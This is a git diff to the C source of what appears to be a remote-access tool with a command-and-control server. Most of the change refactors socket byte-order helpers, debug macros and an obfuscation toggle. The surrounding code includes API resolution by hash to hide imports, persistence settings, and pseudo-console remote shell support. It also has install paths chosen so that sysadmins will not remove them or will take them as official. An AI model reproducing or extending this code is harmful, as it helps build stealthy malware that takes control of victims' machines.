OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
|
||||||
|
|
||||||
/* misc. */
|
/* misc. */
|
||||||
#ifdef DEBUG
|
#ifdef LAIKA_DEBUG_BUILD
|
||||||
OP_DEBUG
|
OP_DEBUG
|
||||||
#endif
|
#endif
|
||||||
};
|
};
|
||||||
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
|
|||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
#ifdef DEBUG
|
#ifdef LAIKA_DEBUG_BUILD
|
||||||
case OP_DEBUG: {
|
case OP_DEBUG: {
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <inttypes.h>
|
#include <inttypes.h>
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef LAIKA_DEBUG_BUILD
|
||||||
# define LAIKA_DEBUG(...) \
|
# define LAIKA_DEBUG(...) \
|
||||||
printf("[~] " __VA_ARGS__); \
|
printf("[~] " __VA_ARGS__); \
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
|
|||||||
@@ -13,6 +13,7 @@
|
|||||||
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
||||||
|
|
||||||
/* settings */
|
/* settings */
|
||||||
|
#cmakedefine LAIKA_DEBUG_BUILD
|
||||||
#cmakedefine LAIKA_PERSISTENCE
|
#cmakedefine LAIKA_PERSISTENCE
|
||||||
#cmakedefine LAIKA_OBFUSCATE
|
#cmakedefine LAIKA_OBFUSCATE
|
||||||
|
|
||||||
@@ -20,8 +21,8 @@
|
|||||||
|
|
||||||
/* =====================================[[ Linux Strings ]]===================================== */
|
/* =====================================[[ Linux Strings ]]===================================== */
|
||||||
|
|
||||||
/* we want a semi-random file lock that is stable between similar builds,
|
/* we want a semi-random file lock that is stable between similar builds,
|
||||||
* so we use the GIT_VERSION as our file lock :D */
|
* so we use the GIT_VERSION as our file lock :D */
|
||||||
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
||||||
|
|
||||||
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
||||||
@@ -32,8 +33,8 @@
|
|||||||
|
|
||||||
/* ====================================[[ Windows Strings ]]==================================== */
|
/* ====================================[[ Windows Strings ]]==================================== */
|
||||||
|
|
||||||
/* we want a semi-random mutex that is stable between similar builds,
|
/* we want a semi-random mutex that is stable between similar builds,
|
||||||
* so we use the GIT_VERSION as our mutex :D */
|
* so we use the GIT_VERSION as our mutex :D */
|
||||||
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||||
|
|
||||||
/* looks official enough */
|
/* looks official enough */
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
# include <process.h>
|
# include <process.h>
|
||||||
# include <windows.h>
|
# include <windows.h>
|
||||||
|
|
||||||
|
#ifdef LAIKA_OBFUSCATE
|
||||||
/* WINAPI types */
|
/* WINAPI types */
|
||||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
||||||
@@ -25,6 +26,19 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
|
|||||||
extern _RegCloseKey oRegCloseKey;
|
extern _RegCloseKey oRegCloseKey;
|
||||||
extern _RegSetValueExA oRegSetValueExA;
|
extern _RegSetValueExA oRegSetValueExA;
|
||||||
extern _RegQueryValueExA oRegQueryValueExA;
|
extern _RegQueryValueExA oRegQueryValueExA;
|
||||||
|
#else
|
||||||
|
|
||||||
|
/* disabling obfuscation by macro magic :O */
|
||||||
|
#define oShellExecuteA ShellExecuteA
|
||||||
|
#define oCreatePseudoConsole CreatePseudoConsole
|
||||||
|
#define oClosePseudoConsole ClosePseudoConsole
|
||||||
|
#define oCreateProcessA CreateProcessA
|
||||||
|
#define oRegOpenKeyExA RegOpenKeyExA
|
||||||
|
#define oRegCloseKey RegCloseKey
|
||||||
|
#define oRegSetValueExA RegSetValueExA
|
||||||
|
#define oRegQueryValueExA RegQueryValueExA
|
||||||
|
|
||||||
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
void laikaO_init();
|
void laikaO_init();
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#ifndef LAIKA_PACKET_H
|
#ifndef LAIKA_PACKET_H
|
||||||
#define LAIKA_PACKET_H
|
#define LAIKA_PACKET_H
|
||||||
|
|
||||||
|
#include "lconfig.h"
|
||||||
#include <inttypes.h>
|
#include <inttypes.h>
|
||||||
|
|
||||||
#define LAIKA_MAGIC "LAI\x12"
|
#define LAIKA_MAGIC "LAI\x12"
|
||||||
@@ -121,7 +122,7 @@ enum
|
|||||||
typedef uint8_t LAIKAPKT_ID;
|
typedef uint8_t LAIKAPKT_ID;
|
||||||
typedef uint16_t LAIKAPKT_SIZE;
|
typedef uint16_t LAIKAPKT_SIZE;
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef LAIKA_DEBUG_BUILD
|
||||||
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|||||||
@@ -88,8 +88,6 @@ struct sLaika_socket
|
|||||||
|
|
||||||
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
||||||
|
|
||||||
bool laikaS_isBigEndian(void);
|
|
||||||
|
|
||||||
void laikaS_init(void);
|
void laikaS_init(void);
|
||||||
void laikaS_cleanUp(void);
|
void laikaS_cleanUp(void);
|
||||||
|
|
||||||
@@ -114,12 +112,12 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
|
|||||||
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
|
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i); /* writes UINT16, respecting endianness */
|
||||||
size_t sz); /* reads INT, respecting endianness */
|
uint16_t laikaS_readu16(struct sLaika_socket *sock); /* reads UINT16, respecting endianness */
|
||||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
|
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i); /* writes UINT32, respecting endianness */
|
||||||
size_t sz); /* writes INT, respecting endianness */
|
uint32_t laikaS_readu32(struct sLaika_socket *sock); /* reads UINT32, respecting endianness */
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
|
||||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||||
|
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -18,3 +18,26 @@ void *laikaM_realloc(void *buf, size_t sz)
|
|||||||
|
|
||||||
return newBuf;
|
return newBuf;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool laikaM_isBigEndian(void)
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
uint32_t i;
|
||||||
|
uint8_t c[4];
|
||||||
|
} _indxint = {0xDEADB33F};
|
||||||
|
|
||||||
|
return _indxint.c[0] == 0xDE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaM_reverse(uint8_t *buf, size_t sz)
|
||||||
|
{
|
||||||
|
int k;
|
||||||
|
|
||||||
|
/* swap bytes, reversing the buffer */
|
||||||
|
for (k = 0; k < (sz / 2); k++) {
|
||||||
|
uint8_t tmp = buf[k];
|
||||||
|
buf[k] = buf[sz - k - 1];
|
||||||
|
buf[sz - k - 1] = tmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
#include "net/lpacket.h"
|
#include "net/lpacket.h"
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef LAIKA_DEBUG_BUILD
|
||||||
const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
||||||
{
|
{
|
||||||
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||||
|
|||||||
@@ -232,7 +232,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
|
|||||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
||||||
|
|
||||||
/* read packet size */
|
/* read packet size */
|
||||||
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
peer->pktSize = laikaS_readu16(&peer->sock);
|
||||||
|
|
||||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||||
LAIKA_ERROR("variable packet too large!\n");
|
LAIKA_ERROR("variable packet too large!\n");
|
||||||
|
|||||||
@@ -8,17 +8,6 @@
|
|||||||
|
|
||||||
static int _LNSetup = 0;
|
static int _LNSetup = 0;
|
||||||
|
|
||||||
bool laikaS_isBigEndian(void)
|
|
||||||
{
|
|
||||||
union
|
|
||||||
{
|
|
||||||
uint32_t i;
|
|
||||||
uint8_t c[4];
|
|
||||||
} _indxint = {0xDEADB33F};
|
|
||||||
|
|
||||||
return _indxint.c[0] == 0xDE;
|
|
||||||
}
|
|
||||||
|
|
||||||
void laikaS_init(void)
|
void laikaS_init(void)
|
||||||
{
|
{
|
||||||
if (_LNSetup++ > 0)
|
if (_LNSetup++ > 0)
|
||||||
@@ -42,6 +31,8 @@ void laikaS_cleanUp(void)
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ======================================[[ Socket API ]]======================================= */
|
||||||
|
|
||||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||||
pollFailEvent onPollFail, void *uData)
|
pollFailEvent onPollFail, void *uData)
|
||||||
{
|
{
|
||||||
@@ -191,6 +182,8 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock)
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* =====================================[[ Socket stream ]]===================================== */
|
||||||
|
|
||||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
|
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
|
||||||
{
|
{
|
||||||
laikaM_rmvVector(sock->inBuf, 0, sz);
|
laikaM_rmvVector(sock->inBuf, 0, sz);
|
||||||
@@ -258,91 +251,50 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock)
|
|||||||
return tmp;
|
return tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i)
|
||||||
{
|
{
|
||||||
if (sock->flipEndian) {
|
uint16_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
|
||||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
|
||||||
int k;
|
|
||||||
|
|
||||||
laikaS_read(sock, (void *)tmp, sz);
|
if (sock->flipEndian)
|
||||||
|
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||||
|
|
||||||
/* copy tmp buffer to user buffer, flipping endianness */
|
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
|
||||||
for (k = 0; k < sz; k++)
|
|
||||||
*((uint8_t *)buf + k) = tmp[sz - k - 1];
|
|
||||||
|
|
||||||
ENDVLA(tmp);
|
|
||||||
} else {
|
|
||||||
/* just a wrapper for laikaS_read */
|
|
||||||
laikaS_read(sock, buf, sz);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
uint16_t laikaS_readu16(struct sLaika_socket *sock)
|
||||||
{
|
{
|
||||||
if (sock->flipEndian) {
|
uint16_t tmp;
|
||||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
|
||||||
int k;
|
|
||||||
|
|
||||||
/* copy user buffer to tmp buffer, flipping endianness */
|
if (sock->flipEndian)
|
||||||
for (k = 0; k < sz; k++)
|
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||||
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
|
|
||||||
|
|
||||||
laikaS_write(sock, (void *)tmp, sz);
|
return tmp;
|
||||||
ENDVLA(tmp);
|
|
||||||
} else {
|
|
||||||
/* just a wrapper for laikaS_write */
|
|
||||||
laikaS_write(sock, buf, sz);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
|
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i)
|
||||||
{
|
{
|
||||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
uint32_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
|
||||||
int i, rcvd, start = laikaM_countVector(sock->inBuf);
|
|
||||||
|
|
||||||
/* sanity check */
|
if (sock->flipEndian)
|
||||||
if (sz == 0)
|
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||||
return RAWSOCK_OK;
|
|
||||||
|
|
||||||
/* make sure we have enough space to recv */
|
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
|
||||||
laikaM_growVector(uint8_t, sock->inBuf, sz);
|
|
||||||
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
|
|
||||||
LN_MSG_NOSIGNAL);
|
|
||||||
|
|
||||||
if (rcvd == 0) {
|
|
||||||
errCode = RAWSOCK_CLOSED;
|
|
||||||
} else if (SOCKETERROR(rcvd) &&
|
|
||||||
LN_ERRNO != LN_EWOULD
|
|
||||||
#ifndef _WIN32
|
|
||||||
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
|
|
||||||
recoverable error, there's just nothing to read lol) */
|
|
||||||
&& LN_ERRNO != EAGAIN
|
|
||||||
#endif
|
|
||||||
) {
|
|
||||||
/* if the socket closed or an error occurred, return the error result */
|
|
||||||
errCode = RAWSOCK_ERROR;
|
|
||||||
} else if (rcvd > 0) {
|
|
||||||
#if 0
|
|
||||||
/* for debugging */
|
|
||||||
printf("---recv'd %d bytes---\n", rcvd);
|
|
||||||
for (i = 1; i <= rcvd; i++) {
|
|
||||||
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
|
|
||||||
if (i % 16 == 0) {
|
|
||||||
printf("\n");
|
|
||||||
} else if (i % 8 == 0) {
|
|
||||||
printf("\t");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
printf("\n");
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* recv() worked, add rcvd to inCount */
|
|
||||||
laikaM_countVector(sock->inBuf) += rcvd;
|
|
||||||
}
|
|
||||||
*processed = rcvd;
|
|
||||||
return errCode;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
uint32_t laikaS_readu32(struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
|
uint32_t tmp;
|
||||||
|
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
|
||||||
|
|
||||||
|
if (sock->flipEndian)
|
||||||
|
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
|
||||||
|
|
||||||
|
return tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===================================[[ Socket send/recv ]]==================================== */
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
|
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||||
{
|
{
|
||||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||||
@@ -379,23 +331,43 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
|||||||
} while ((sentBytes += sent) < sz);
|
} while ((sentBytes += sent) < sz);
|
||||||
|
|
||||||
_rawWriteExit:
|
_rawWriteExit:
|
||||||
#if 0
|
|
||||||
/* for debugging */
|
|
||||||
printf("---sent %d bytes---\n", sent);
|
|
||||||
for (i = 1; i <= sentBytes; i++) {
|
|
||||||
printf("%.2x ", sock->outBuf[i-1]);
|
|
||||||
if (i % 16 == 0) {
|
|
||||||
printf("\n");
|
|
||||||
} else if (i % 8 == 0) {
|
|
||||||
printf("\t");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
printf("\n");
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* trim sent data from outBuf */
|
/* trim sent data from outBuf */
|
||||||
laikaM_rmvVector(sock->outBuf, 0, sentBytes);
|
laikaM_rmvVector(sock->outBuf, 0, sentBytes);
|
||||||
|
|
||||||
*processed = sentBytes;
|
*processed = sentBytes;
|
||||||
return errCode;
|
return errCode;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||||
|
{
|
||||||
|
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||||
|
int i, rcvd, start = laikaM_countVector(sock->inBuf);
|
||||||
|
|
||||||
|
/* sanity check */
|
||||||
|
if (sz == 0)
|
||||||
|
return RAWSOCK_OK;
|
||||||
|
|
||||||
|
/* make sure we have enough space to recv */
|
||||||
|
laikaM_growVector(uint8_t, sock->inBuf, sz);
|
||||||
|
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
|
||||||
|
LN_MSG_NOSIGNAL);
|
||||||
|
|
||||||
|
if (rcvd == 0) {
|
||||||
|
errCode = RAWSOCK_CLOSED;
|
||||||
|
} else if (SOCKETERROR(rcvd) &&
|
||||||
|
LN_ERRNO != LN_EWOULD
|
||||||
|
#ifndef _WIN32
|
||||||
|
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
|
||||||
|
recoverable error, there's just nothing to read lol) */
|
||||||
|
&& LN_ERRNO != EAGAIN
|
||||||
|
#endif
|
||||||
|
) {
|
||||||
|
/* if the socket closed or an error occurred, return the error result */
|
||||||
|
errCode = RAWSOCK_ERROR;
|
||||||
|
} else if (rcvd > 0) {
|
||||||
|
/* recv() worked, add rcvd to inCount */
|
||||||
|
laikaM_countVector(sock->inBuf) += rcvd;
|
||||||
|
}
|
||||||
|
*processed = rcvd;
|
||||||
|
return errCode;
|
||||||
|
}
|
||||||
@@ -137,6 +137,7 @@ _findByHashFail:
|
|||||||
|
|
||||||
/* ======================================[[ Exposed API ]]====================================== */
|
/* ======================================[[ Exposed API ]]====================================== */
|
||||||
|
|
||||||
|
#ifdef LAIKA_OBFUSCATE
|
||||||
_ShellExecuteA oShellExecuteA;
|
_ShellExecuteA oShellExecuteA;
|
||||||
_CreatePseudoConsole oCreatePseudoConsole;
|
_CreatePseudoConsole oCreatePseudoConsole;
|
||||||
_ClosePseudoConsole oClosePseudoConsole;
|
_ClosePseudoConsole oClosePseudoConsole;
|
||||||
@@ -164,3 +165,9 @@ void laikaO_init()
|
|||||||
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
||||||
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
||||||
}
|
}
|
||||||
|
#else
|
||||||
|
void laikaO_init()
|
||||||
|
{
|
||||||
|
/* stubbed!! */
|
||||||
|
}
|
||||||
|
#endif
|
||||||
Submodule libsodium updated: a606dc79ed...f568ff02f1
@@ -13,8 +13,5 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
|||||||
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
|
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
|
||||||
target_link_libraries(LaikaShell PUBLIC LaikaLib)
|
target_link_libraries(LaikaShell PUBLIC LaikaLib)
|
||||||
|
|
||||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
|
||||||
target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|
||||||
|
|
||||||
# add include directory
|
# add include directory
|
||||||
target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})
|
target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
|||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
|
||||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
|
||||||
|
|
||||||
/* set peer salt */
|
/* set peer salt */
|
||||||
laikaS_setSalt(peer, saltBuf);
|
laikaS_setSalt(peer, saltBuf);
|
||||||
@@ -134,7 +134,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
|
||||||
sz -= sizeof(uint32_t);
|
sz -= sizeof(uint32_t);
|
||||||
|
|
||||||
/* sanity check */
|
/* sanity check */
|
||||||
@@ -150,7 +150,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
|||||||
tShell_client *client = (tShell_client *)uData;
|
tShell_client *client = (tShell_client *)uData;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
|
||||||
|
|
||||||
/* sanity check */
|
/* sanity check */
|
||||||
if (!shellC_isShellOpen(client))
|
if (!shellC_isShellOpen(client))
|
||||||
@@ -396,8 +396,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
|
|||||||
/* send SHELL_OPEN request */
|
/* send SHELL_OPEN request */
|
||||||
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
|
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
|
||||||
laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
|
laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
|
||||||
laikaS_writeInt(&client->peer->sock, &col, sizeof(uint16_t));
|
laikaS_writeu16(&client->peer->sock, col);
|
||||||
laikaS_writeInt(&client->peer->sock, &row, sizeof(uint16_t));
|
laikaS_writeu16(&client->peer->sock, row);
|
||||||
laikaS_endOutPacket(client->peer);
|
laikaS_endOutPacket(client->peer);
|
||||||
client->openShell = peer;
|
client->openShell = peer;
|
||||||
}
|
}
|
||||||
@@ -411,7 +411,7 @@ void shellC_closeShell(tShell_client *client)
|
|||||||
|
|
||||||
/* send SHELL_CLOSE request */
|
/* send SHELL_CLOSE request */
|
||||||
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
|
||||||
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
|
laikaS_writeu32(&client->peer->sock, id);
|
||||||
laikaS_endOutPacket(client->peer);
|
laikaS_endOutPacket(client->peer);
|
||||||
|
|
||||||
client->openShell = NULL;
|
client->openShell = NULL;
|
||||||
@@ -426,7 +426,7 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
|
|||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(sock, &id, sizeof(uint32_t));
|
laikaS_writeu32(sock, id);
|
||||||
switch (client->openShell->osType) {
|
switch (client->openShell->osType) {
|
||||||
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
|
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
|
||||||
converted! */
|
converted! */
|
||||||
|
|||||||
@@ -9,6 +9,3 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
|||||||
file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||||
add_executable(genKey ${GENKEYSOURCE})
|
add_executable(genKey ${GENKEYSOURCE})
|
||||||
target_link_libraries(genKey PUBLIC LaikaLib)
|
target_link_libraries(genKey PUBLIC LaikaLib)
|
||||||
|
|
||||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
|
||||||
target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|
||||||
|
|||||||
@@ -10,9 +10,6 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
|||||||
add_executable(VMBoxGen ${VMTESTSOURCE})
|
add_executable(VMBoxGen ${VMTESTSOURCE})
|
||||||
target_link_libraries(VMBoxGen PUBLIC)
|
target_link_libraries(VMBoxGen PUBLIC)
|
||||||
|
|
||||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
|
||||||
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|
||||||
|
|
||||||
# generate the VMBOXCONFIG file
|
# generate the VMBOXCONFIG file
|
||||||
if(LAIKA_OBFUSCATE)
|
if(LAIKA_OBFUSCATE)
|
||||||
add_custom_command(TARGET VMBoxGen POST_BUILD
|
add_custom_command(TARGET VMBoxGen POST_BUILD
|
||||||
|
|||||||
@@ -13,11 +13,12 @@
|
|||||||
} while (0);
|
} while (0);
|
||||||
#define RANDBYTE (rand() % UINT8_MAX)
|
#define RANDBYTE (rand() % UINT8_MAX)
|
||||||
|
|
||||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
|
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
|
||||||
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
|
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
|
||||||
|
"#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||||
static const char *POSTAMBLE = "\n#endif\n";
|
static const char *POSTAMBLE = "\n#endif\n";
|
||||||
|
|
||||||
void writeArray(FILE *out, uint8_t *data, int sz)
|
static void writeArray(FILE *out, uint8_t *data, int sz)
|
||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
@@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
|
|||||||
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||||
{
|
{
|
||||||
fprintf(out, "#define %s ", ident);
|
fprintf(out, "#define %s ", ident);
|
||||||
